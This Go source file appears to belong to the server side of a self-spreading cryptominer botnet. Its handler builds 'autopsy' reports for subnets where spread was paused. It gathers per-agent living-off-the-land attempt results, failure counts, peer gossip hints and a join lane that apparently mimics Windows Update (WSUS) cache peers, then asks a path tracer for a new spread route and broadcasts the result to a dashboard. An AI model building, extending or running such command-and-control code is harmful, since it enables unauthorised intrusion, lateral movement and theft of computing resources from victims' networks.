package api import ( "encoding/json" "log" "net/http" "strings" "time" "crypto-miner-server/internal/ai" "crypto-miner-server/internal/atlas" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/strategy" ) // SubnetAutopsyHandler serves immune autopsy packets for paused /24 prefixes. type SubnetAutopsyHandler struct { hub *WSHub pathTracer *PathTracerHandler } func NewSubnetAutopsyHandler(hub *WSHub, pathTracer *PathTracerHandler) *SubnetAutopsyHandler { return &SubnetAutopsyHandler{hub: hub, pathTracer: pathTracer} } // GET /api/v1/atlas/subnet-autopsy?subnet= func (h *SubnetAutopsyHandler) Get(w http.ResponseWriter, r *http.Request) { if h == nil || h.hub == nil { http.Error(w, "subnet autopsy unavailable", http.StatusServiceUnavailable) return } prefix := atlas.PrefixFromHostOrIP(r.URL.Query().Get("subnet")) if prefix == "" { http.Error(w, "subnet query required", http.StatusBadRequest) return } pkt, ok := h.hub.SubnetAutopsy(prefix) if !ok { pkt = h.hub.BuildSubnetAutopsy(prefix, h.pathTracer) } writeJSON(w, pkt) } // TriggerSubnetAutopsy builds, caches, and broadcasts an autopsy when immune pause activates. func (h *WSHub) TriggerSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) { pkt := h.BuildSubnetAutopsy(prefix, pathTracer) h.storeSubnetAutopsy(pkt) h.BroadcastSeerEvent(map[string]interface{}{ "type": "subnet_immune_autopsy", "prefix": pkt.Prefix, "triggered": pkt.TriggeredAt, "cause": pkt.CauseOfDeath, "vaccination": pkt.VaccinationLane, "packet": pkt, }) log.Printf("[subnet-autopsy] immune pause autopsy for %s (%d failures)", pkt.Prefix, pkt.FailCount) } func (h *WSHub) storeSubnetAutopsy(pkt atlas.SubnetAutopsyPacket) { if h == nil { return } h.mu.Lock() if h.subnetAutopsies == nil { h.subnetAutopsies = make(map[string]atlas.SubnetAutopsyPacket) } h.subnetAutopsies[pkt.Prefix] = pkt h.mu.Unlock() } // SubnetAutopsy returns a cached autopsy packet for prefix. func (h *WSHub) SubnetAutopsy(prefix string) (atlas.SubnetAutopsyPacket, bool) { if h == nil { return atlas.SubnetAutopsyPacket{}, false } prefix = atlas.PrefixFromHostOrIP(prefix) h.mu.RLock() pkt, ok := h.subnetAutopsies[prefix] h.mu.RUnlock() return pkt, ok } // BuildSubnetAutopsy assembles an immune autopsy from fleet state. func (h *WSHub) BuildSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) atlas.SubnetAutopsyPacket { prefix = atlas.PrefixFromHostOrIP(prefix) now := time.Now().UTC() pkt := atlas.SubnetAutopsyPacket{ Prefix: prefix, TriggeredAt: now, Persona: ai.NormalizePersona(h.serverPolicySnapshot().AIPersona), WSUSMimic: atlas.WSUSMimicSnapshot{ FormatMimicEnabled: true, CachePeerLane: "wsus_cache_peer", }, } policy := h.serverPolicySnapshot() pkt.ErasureFallback = atlas.ErasureFallbackSnapshot{ ErasureLanesEnabled: policy.ErasureLanesEnabled, AvailableAsFallback: policy.ErasureLanesEnabled, } if h.db != nil { if row, err := h.db.GetSubnetSpreadPause(prefix); err == nil && row != nil { pkt.FailCount = row.FailCount pkt.PausedUntil = row.PausedUntil } } agents := h.agentsOnSubnet(prefix) pkt.LOTLAttempts = atlas.TrimLOTLAttempts(collectSubnetLOTLAttempts(h, agents), atlas.SubnetAutopsyLOTLAttemptLimit) pkt.GossipWhispers = atlas.TrimGossipWhispers(h.gossipWhispersForSubnet(prefix), atlas.SubnetAutopsyGossipWhisperLimit) pkt.FailureAtlas = h.failureAtlasSummaryForSubnet(agents) if joinLane := recentJoinLane(h, agents); joinLane != "" { pkt.WSUSMimic.RecentJoinLane = joinLane if joinLane == "wsus_cache_peer" { pkt.WSUSMimic.FormatMimicEnabled = true } } if pathTracer != nil { if hint := pathTracer.RecommendSpreadRoute(prefix, pkt.WSUSMimic.RecentJoinLane, ""); hint != nil { pkt.VaccinationLane = hint } } pkt.CauseOfDeath = atlas.BuildCauseOfDeath(pkt) return pkt } func (h *WSHub) agentsOnSubnet(prefix string) []*models.Agent { if h == nil || h.db == nil || prefix == "" { return nil } subnetLabel := prefix + ".x" agents, err := h.db.ListAgentsFiltered(db.AgentListFilter{Subnet: subnetLabel, Limit: 64}) if err != nil { return nil } return agents } func collectSubnetLOTLAttempts(hub *WSHub, agents []*models.Agent) []atlas.LOTLAttemptSnapshot { var out []atlas.LOTLAttemptSnapshot for _, ag := range agents { if ag == nil { continue } attempts := lotlAttemptsForAgent(hub, ag) for _, a := range attempts { a.AgentID = ag.ID a.AgentName = ag.Name out = append(out, a) } } return out } func lotlAttemptsForAgent(hub *WSHub, ag *models.Agent) []atlas.LOTLAttemptSnapshot { if hub != nil { hub.mu.RLock() if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok { hub.mu.RUnlock() if parsed := parseLOTLAttemptsFromTelemetry(tel); len(parsed) > 0 { return parsed } } else { hub.mu.RUnlock() } } return parseLOTLAttemptsFromAgent(ag) } func parseLOTLAttemptsFromTelemetry(tel map[string]interface{}) []atlas.LOTLAttemptSnapshot { raw, ok := tel["lotl_attempts"] if !ok { return nil } b, err := json.Marshal(raw) if err != nil { return nil } var attempts []atlas.LOTLAttemptSnapshot if json.Unmarshal(b, &attempts) != nil { return nil } return attempts } func parseLOTLAttemptsFromAgent(ag *models.Agent) []atlas.LOTLAttemptSnapshot { if ag == nil || len(ag.LOTLAttempts) == 0 { return nil } out := make([]atlas.LOTLAttemptSnapshot, 0, len(ag.LOTLAttempts)) for _, a := range ag.LOTLAttempts { out = append(out, atlas.LOTLAttemptSnapshot{ Tier: a.Tier, OK: a.OK, Error: a.Error, DurationMs: a.DurationMs, }) } return out } func recentJoinLane(hub *WSHub, agents []*models.Agent) string { for _, ag := range agents { if ag == nil { continue } if hub != nil { hub.mu.RLock() if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok { if lane, ok := tel["join_lane"].(string); ok && strings.TrimSpace(lane) != "" { hub.mu.RUnlock() return strings.TrimSpace(lane) } } hub.mu.RUnlock() } if strings.TrimSpace(ag.JoinLane) != "" { return strings.TrimSpace(ag.JoinLane) } } return "" } func (h *WSHub) failureAtlasSummaryForSubnet(agents []*models.Agent) string { if h == nil || h.db == nil || len(agents) == 0 { return "" } for _, ag := range agents { if ag == nil { continue } domainJoined := ag.FirewallDomain != nil && *ag.FirewallDomain fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, domainJoined) summary, err := h.db.FailureAtlasSummary(fp.Key(), fp.GOOS) if err == nil && summary != "" && summary != "no fleet failure atlas samples for this fingerprint" { return summary } } return "" } func normalizeGossipSubnetKey(prefix string) string { prefix = strings.TrimSpace(prefix) if prefix == "" { return "" } if norm := atlas.PrefixFromHostOrIP(prefix); norm != "" { return norm } prefix = strings.TrimSuffix(prefix, ".0/24") prefix = strings.TrimSuffix(prefix, "/24") return strings.TrimSpace(prefix) } func (h *WSHub) recordGossipWhisper(prefix string, hints []atlas.GossipHint) { prefix = normalizeGossipSubnetKey(prefix) if prefix == "" || len(hints) == 0 { return } h.mu.Lock() if h.subnetGossipWhispers == nil { h.subnetGossipWhispers = make(map[string][]atlas.GossipHint) } merged := atlas.MergeGossipSkips(toAtlasSkips(h.subnetGossipWhispers[prefix]), hints) out := make([]atlas.GossipHint, 0, len(merged)) for _, s := range merged { out = append(out, atlas.GossipHint{Tier: s.Tier, Condition: s.Condition, Reason: s.Reason}) } h.subnetGossipWhispers[prefix] = out h.mu.Unlock() } func (h *WSHub) gossipWhispersForSubnet(prefix string) []atlas.GossipHint { prefix = normalizeGossipSubnetKey(prefix) if h == nil || prefix == "" { return nil } h.mu.RLock() defer h.mu.RUnlock() if h.subnetGossipWhispers == nil { return nil } return append([]atlas.GossipHint(nil), h.subnetGossipWhispers[prefix]...) } func toAtlasSkips(hints []atlas.GossipHint) []atlas.AtlasSkip { skips := atlas.SkipsFromHints(hints) out := make([]atlas.AtlasSkip, len(skips)) copy(out, skips) return out } // BroadcastSeerEvent pushes structured events to dashboard Seer consumers. func (h *WSHub) BroadcastSeerEvent(ev interface{}) { if h == nil { return } h.broadcastDashboard(Message{Type: "seer_events", Payload: mustMarshal(ev)}) }